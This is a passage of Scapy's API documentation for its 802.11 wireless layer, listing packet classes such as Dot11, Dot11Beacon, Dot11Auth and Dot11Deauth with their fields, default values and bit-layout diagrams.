	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              OUI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     SUITE     |
+-+-+-+-+-+-+-+-+

                          Fig. AKMSuite                           


AKMSuite fields






	oui

	OUIField

	4012



	suite

	ByteEnumField

	1















	
class scapy.layers.dot11.BSSTerminationDuration(_pkt, /, *, id=4, len=10, TSF=0, duration=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1682-L1692]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1691-L1692]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |              TSF              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            DURATION           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. BSSTerminationDuration                    


BSSTerminationDuration fields






	id

	ByteField

	4



	len

	ByteField

	10



	TSF

	LELongField

	0



	duration

	LEShortField

	0















	
class scapy.layers.dot11.Dot11(_pkt, /, *, subtype=0, type=0, proto=0, cfe=0, FCfield=None, ID=0, addr1='00:00:00:00:00:00', addr2='00:00:00:00:00:00', addr3='00:00:00:00:00:00', SC=0, addr4='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L687-L804]

	Bases: Packet


	
address_meaning(index)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L764-L789]

	Return the meaning of the address[index] considering the context






	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L747-L762]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SUBTYPE|TYP|PRO|  CFE  |    FCFIELD    |           ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                         ADDR1                         |
+-+-+-+-+                               +-+-+-+-+-+-+-+-+-+-+-+-+
|                                       |         ADDR2         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                       +
|                                                               |
+       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                         ADDR3                         |
+-+-+-+-+                               +-+-+-+-+-+-+-+-+-+-+-+-+
|                                       |           SC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                         ADDR4                         |
+-+-+-+-+                               +-+-+-+-+-+-+-+-+-+-+-+-+
|                                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. Dot11                            


Dot11 fields






	subtype

	BitMultiEnumField

	0



	type

	BitEnumField

	0



	proto

	BitField  (2 bits)

	0



	cfe

	BitEnumField (Cond)

	0



	FCfield

	MultipleTypeField (FlagsField, FlagsField)

	<Flag 0 ()>



	ID

	ShortField

	0



	addr1

	_Dot11MacField

	'00:00:00:00:00:00'



	addr2

	_Dot11MacField (Cond)

	'00:00:00:00:00:00'



	addr3

	_Dot11MacField (Cond)

	'00:00:00:00:00:00'



	SC

	LEShortField (Cond)

	0



	addr4

	_Dot11MacField (Cond)

	'00:00:00:00:00:00'











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L735-L745]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L731-L733]

	




	
payload_guess

	Possible sublayers:
Dot11ATIM, Dot11Ack, Dot11Action, Dot11AssoReq, Dot11AssoResp, Dot11Auth, Dot11Beacon, Dot11Deauth, Dot11Disas, Dot11ProbeReq, Dot11ProbeResp, Dot11ReassoReq, Dot11ReassoResp, LLC






	
unwep(key=None, warn=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L791-L804]

	








	
class scapy.layers.dot11.Dot11ATIM(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1525-L1526]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.dot11.Dot11Ack(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1592-L1593]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.dot11.Dot11Action(_pkt, /, *, category=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1598-L1625]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    CATEGORY   |
+-+-+-+-+-+-+-+-+

                         Fig. Dot11Action                         


Dot11Action fields






	category

	ByteEnumField

	0











	
payload_guess

	Possible sublayers:
Dot11SpectrumManagement, Dot11WNM










	
class scapy.layers.dot11.Dot11AssoReq(_pkt, /, *, cap=<Flag 0 ()>, listen_interval=200)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1534-L1537]

	Bases: _Dot11EltUtils


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CAP              |        LISTEN INTERVAL        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. Dot11AssoReq                         


Dot11AssoReq fields






	cap

	FlagsField

	<Flag 0 ()>



	listen_interval

	LEShortField

	200











	
payload_guess

	Possible sublayers:
Dot11Elt










	
class scapy.layers.dot11.Dot11AssoResp(_pkt, /, *, cap=<Flag 0 ()>, status=0, AID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1540-L1544]

	Bases: _Dot11EltUtils


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CAP              |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. Dot11AssoResp                        


Dot11AssoResp fields






	cap

	FlagsField

	<Flag 0 ()>



	status

	LEShortField

	0



	AID

	LEShortField

	0











	
payload_guess

	Possible sublayers:
Dot11Elt










	
class scapy.layers.dot11.Dot11Auth(_pkt, /, *, algo=0, seqnum=0, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1569-L1584]

	Bases: _Dot11EltUtils


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1575-L1584]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ALGO             |             SEQNUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Dot11Auth                          


Dot11Auth fields






	algo

	LEShortEnumField

	0



	seqnum

	LEShortField

	0



	status

	LEShortEnumField

	0











	
payload_guess

	Possible sublayers:
Dot11Elt










	
class scapy.layers.dot11.Dot11BSSTMRequest(_pkt, /, *, token=0, mode=<Flag 0 ()>, disassociation_timer=0, validity_interval=0, termination_duration=<BSSTerminationDuration  |>, url_len=0, url=b'', neighbor_report=[<NeighborReport  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1738-L1769]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TOKEN     |      MODE     |      DISASSOCIATION TIMER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VALIDITY INTERV|      TERMINATION DURATION     |    URL LEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              URL              |        NEIGHBOR REPORT        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. Dot11BSSTMRequest                      


Dot11BSSTMRequest fields






	token

	ByteField

	0



	mode

	FlagsField

	<Flag 0 ()>



	disassociation_timer

	LEShortField

	0



	validity_interval

	ByteField

	0



	termination_duration

	PacketField (Cond)

	<BSSTerminationDuration  |>



	url_len

	ByteField (Cond)

	0



	url

	StrLenField (Cond)

	b''



	neighbor_report

	PacketListField (Cond)

	[<NeighborReport  |>]















	
class scapy.layers.dot11.Dot11BSSTMResponse(_pkt, /, *, token=0, status=0, termination_delay=0, target='00:00:00:00:00:00', neighbor_report=[<NeighborReport  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1787-L1805]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TOKEN     |     STATUS    |TERMINATION DEL|     TARGET    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        NEIGHBOR REPORT        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. Dot11BSSTMResponse                      


Dot11BSSTMResponse fields






	token

	ByteField

	0



	status

	ByteEnumField

	0



	termination_delay

	ByteField

	0



	target

	MACField (Cond)

	'00:00:00:00:00:00'



	neighbor_report

	PacketListField (Cond)

	[<NeighborReport  |>]















	
class scapy.layers.dot11.Dot11Beacon(_pkt, /, *, timestamp=0, beacon_interval=100, cap=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1518-L1522]

	Bases: _Dot11EltUtils


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        BEACON INTERVAL        |              CAP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. Dot11Beacon                         


Dot11Beacon fields






	timestamp

	LELongField

	0



	beacon_interval

	LEShortField

	100



	cap

	FlagsField

	<Flag 0 ()>











	
payload_guess

	Possible sublayers:
Dot11Elt










	
class scapy.layers.dot11.Dot11CCMP(_pkt, /, *, PN0=0, PN1=0, res0=0, key_id=0, ext_iv=0, res1=0, PN2=0, PN3=0, PN4=0, PN5=0, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1942-L1958]

	Bases: Dot11Encrypted


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PN0      |      PN1      |      RES0     |KEY|E|   RES1  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PN2      |      PN3      |      PN4      |      PN5      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Dot11CCMP                          


Dot11CCMP fields






	PN0

	ByteField

	0



	PN1

	ByteField

	0



	res0

	ByteField

	0



	key_id

	BitField  (2 bits)

	0



	ext_iv

	BitField  (1 bit)

	0



	res1

	BitField  (5 bits)

	0



	PN2

	ByteField

	0



	PN3

	ByteField

	0



	PN4

	ByteField

	0



	PN5

	ByteField

	0



	data

	StrField

	None











	
payload_guess

	Possible sublayers:
Raw










	
class scapy.layers.dot11.Dot11CSA(_pkt, /, *, CSA=<Dot11EltCSA  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1825-L1829]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CSA              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Dot11CSA                           


Dot11CSA fields






	CSA

	PacketField

	<Dot11EltCSA  |>















	
class scapy.layers.dot11.Dot11Deauth(_pkt, /, *, reason=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1587-L1589]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             REASON            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. Dot11Deauth                         


Dot11Deauth fields






	reason

	LEShortEnumField

	1















	
class scapy.layers.dot11.Dot11Disas(_pkt, /, *, reason=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1529-L1531]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             REASON            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. Dot11Disas                          


Dot11Disas fields






	reason

	LEShortEnumField

	1















	
class scapy.layers.dot11.Dot11Elt(_pkt, /, *, ID=0, len=None, info=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1007-L1067]

	Bases: Packet

A Generic 802.11 Element


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1043-L1052]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |              INFO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Dot11Elt                           


Dot11Elt fields






	ID

	ByteEnumField

	0



	len

	FieldLenField

	None



	info

	StrLenField

	b''











	
info

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1028-L1033]

	




	
payload_guess

	Possible sublayers:
Dot11Elt






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1064-L1067]

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1054-L1062]

	




	
classmethod register_variant(id=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1037-L1041]

	




	
registered_ies = {0: <class 'scapy.layers.dot11.Dot11Elt'>, 1: <class 'scapy.layers.dot11.Dot11EltRates'>, 3: <class 'scapy.layers.dot11.Dot11EltDSSSet'>, 7: <class 'scapy.layers.dot11.Dot11EltCountry'>, 37: <class 'scapy.layers.dot11.Dot11EltCSA'>, 42: <class 'scapy.layers.dot11.Dot11EltERP'>, 45: <class 'scapy.layers.dot11.Dot11EltHTCapabilities'>, 48: <class 'scapy.layers.dot11.Dot11EltRSN'>, 50: <class 'scapy.layers.dot11.Dot11EltRates'>, 74: <class 'scapy.layers.dot11.Dot11EltOBSS'>, 192: <class 'scapy.layers.dot11.Dot11EltVHTOperation'>, 221: <class 'scapy.layers.dot11.Dot11EltVendorSpecific'>}

	




	
show_indent = 0

	








	
class scapy.layers.dot11.Dot11EltCSA(_pkt, /, *, ID=37, len=3, mode=0, new_channel=0, channel_switch_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1451-L1459]

	Bases: Dot11Elt


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |      MODE     |  NEW CHANNEL  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|CHANNEL SWITCH |
+-+-+-+-+-+-+-+-+

                         Fig. Dot11EltCSA                         


Dot11EltCSA fields






	ID

	ByteEnumField

	37



	len

	ByteField

	3



	mode

	ByteField

	0



	new_channel

	ByteField

	0



	channel_switch_count

	ByteField

	0















	
class scapy.layers.dot11.Dot11EltCountry(_pkt, /, *, ID=7, len=None, country_string=b'\x00\x00\x00', descriptors=[], pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1267-L1294]

	Bases: Dot11Elt


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |         COUNTRY STRING        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          DESCRIPTORS          |      PAD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. Dot11EltCountry                       


Dot11EltCountry fields






	ID

	ByteEnumField

	7



	len

	ByteField

	None



	country_string

	StrFixedLenField

	b'\x00\x00\x00'



	descriptors

	MayEnd

	[]



	pad

	ByteField (Cond)

	0











	
match_subclass = True

	








	
class scapy.layers.dot11.Dot11EltCountryConstraintTriplet(_pkt, /, *, first_channel_number=1, num_channels=24, mtp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1255-L1264]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1263-L1264]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FIRST CHANNEL N|  NUM CHANNELS |      MTP      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. Dot11EltCountryConstraintTriplet               


Dot11EltCountryConstraintTriplet fields






	first_channel_number

	ByteField

	1



	num_channels

	ByteField

	24



	mtp

	ByteField

	0















	
class scapy.layers.dot11.Dot11EltDSSSet(_pkt, /, *, ID=3, len=1, channel=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1072-L1079]

	Bases: Dot11Elt


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |    CHANNEL    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. Dot11EltDSSSet                        


Dot11EltDSSSet fields






	ID

	ByteEnumField

	3



	len

	ByteField

	1



	channel

	ByteField

	0











	
match_subclass = True

	








	
class scapy.layers.dot11.Dot11EltERP(_pkt, /, *, ID=42, len=1, NonERP_Present=0, Use_Protection=0, Barker_Preamble_Mode=0, res=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1084-L1094]

	Bases: Dot11Elt


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |N|U|B|   RES   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. Dot11EltERP                         


Dot11EltERP fields






	ID

	ByteEnumField

	42



	len

	ByteField

	1



	NonERP_Present

	BitField  (1 bit)

	0



	Use_Protection

	BitField  (1 bit)

	0



	Barker_Preamble_Mode

	BitField  (1 bit)

	0



	res

	BitField  (5 bits)

	0











	
match_subclass = True

	








	
class scapy.layers.dot11.Dot11EltHTCapabilities(_pkt, /, *, ID=45, len=None, L_SIG_TXOP_Protection=0, Forty_Mhz_Intolerant=0, PSMP=0, DSSS_CCK=0, Max_A_MSDU=0, Delayed_BlockAck=0, Rx_STBC=0, Tx_STBC=0, Short_GI_40Mhz=0, Short_GI_20Mhz=0, Green_Field=0, SM_Power_Save=0, Supported_Channel_Width=0, LDPC_Coding_Capability=0, res1=0, Min_MPDCU_Start_Spacing=8, Max_A_MPDU_Length_Exponent=3, res2=0, TX_Unequal_Modulation=0, TX_Max_Spatial_Streams=0, TX_RX_MCS_Set_Not_Equal=0, TX_MCS_Set_Defined=0, res3=0, RX_Highest_Supported_Data_Rate=0, res4=0, RX_MSC_Bitmask=0, res5=0, RD_Responder=0, HTC_HT_Support=0, MCS_Feedback=0, res6=0, PCO_Transition_Time=0, PCO=0, res7=0, Channel_Estimation_Capability=0, CSI_max_n_Rows_Beamformer_Supported=0, Compressed_Steering_n_Beamformer_Antennas_Supported=0, Noncompressed_Steering_n_Beamformer_Antennas_Supported=0, CSI_n_Beamformer_Antennas_Supported=0, Minimal_Grouping=0, Explicit_Compressed_Beamforming_Feedback=0, Explicit_Noncompressed_Beamforming_Feedback=0, Explicit_Transmit_Beamforming_CSI_Feedback=0, Explicit_Compressed_Steering=0, Explicit_Noncompressed_Steering=0, Explicit_CSI_Transmit_Beamforming=0, Calibration=0, Implicit_Trasmit_Beamforming=0, Transmit_NDP=0, Receive_NDP=0, Transmit_Staggered_Sounding=0, Receive_Staggered_Sounding=0, Implicit_Transmit_Beamforming_Receiving=0, ASEL=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1325-L1403]

	Bases: Dot11Elt


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |L|F|P|D|M|D|RX |T|S|S|G|SM |S|L|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RES1|MIN M|MAX|                      RES2                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     |T|TX |T|T|    RES3   |RX HIGHEST SUPPORTE| RES4|RX MSC BI|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+         +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  RES5 |R|H|MCS|   RES6  |PCO|P| RES7|CHA|CSI|C|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |NON|CSI|MIN|EXP|EXP|EXP|E|E|E|CAL|I|T|R|T|R|I|      ASEL     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. Dot11EltHTCapabilities                    


Dot11EltHTCapabilities fields






	ID

	ByteEnumField

	45



	len

	ByteField

	None



	L_SIG_TXOP_Protection

	BitField  (1 bit)

	0



	Forty_Mhz_Intolerant

	BitField  (1 bit)

	0



	PSMP

	BitField  (1 bit)

	0



	DSSS_CCK

	BitField  (1 bit)

	0



	Max_A_MSDU

	BitEnumField

	0



	Delayed_BlockAck

	BitField  (1 bit)

	0



	Rx_STBC

	BitField  (2 bits)

	0



	Tx_STBC

	BitField  (1 bit)

	0



	Short_GI_40Mhz

	BitField  (1 bit)

	0



	Short_GI_20Mhz

	BitField  (1 bit)

	0



	Green_Field

	BitField  (1 bit)

	0



	SM_Power_Save

	BitEnumField

	0



	Supported_Channel_Width

	BitEnumField

	0



	LDPC_Coding_Capability

	BitField  (1 bit)

	0



	res1

	BitField  (3 bits)

	0



	Min_MPDCU_Start_Spacing

	BitField  (3 bits)

	8



	Max_A_MPDU_Length_Exponent

	BitField  (2 bits)

	3



	res2

	BitField  (27 bits)

	0



	TX_Unequal_Modulation

	BitField  (1 bit)

	0



	TX_Max_Spatial_Streams

	BitField  (2 bits)

	0



	TX_RX_MCS_Set_Not_Equal

	BitField  (1 bit)

	0



	TX_MCS_Set_Defined

	BitField  (1 bit)

	0



	res3

	BitField  (6 bits)

	0



	RX_Highest_Supported_Data_Rate

	BitField  (10 bits)

	0



	res4

	BitField  (3 bits)

	0



	RX_MSC_Bitmask

	BitField  (77 bits)

	0



	res5

	BitField  (4 bits)

	0



	RD_Responder

	BitField  (1 bit)

	0



	HTC_HT_Support

	BitField  (1 bit)

	0



	MCS_Feedback

	BitField  (2 bits)

	0



	res6

	BitField  (5 bits)

	0



	PCO_Transition_Time

	BitField  (2 bits)

	0



	PCO

	BitField  (1 bit)

	0



	res7

	BitField  (3 bits)

	0



	Channel_Estimation_Capability

	BitField  (2 bits)

	0



